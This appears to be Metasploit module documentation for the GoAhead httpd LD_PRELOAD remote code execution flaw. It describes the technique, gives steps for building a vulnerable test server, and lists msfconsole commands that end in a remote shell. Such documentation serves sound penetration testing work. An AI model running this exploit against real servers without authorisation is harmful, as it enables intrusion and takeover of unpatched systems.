Vulnerable Application
The GoAhead httpd server between versions 2.5 and 3.6.4 are vulnerable to an arbitrary code execution
vulnerability where a remote attacker can force a supplied shared library to be loaded into the process
of a CGI application. This module delivers a shared library payload as the raw data to a POST request
and forces this to be loaded by specifying a LD_PRELOAD value of /proc/self/fd/0.
Kali 2017.3 and Ubuntu 16.04 Install Instructions
These instructions are based on the vulnerability analysis by elttam.com.au
git clone https://github.com/embedthis/goahead.git
cd goahead/
git checkout tags/v3.6.4 -q
make > /dev/null
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/linux/http/goahead_ldpreload - Do:
set rhost [ip] - Do:
exploit - You should get a shell.
Options
TARGET_URI
Optional. The full path to a CGI endpoint on the target server.
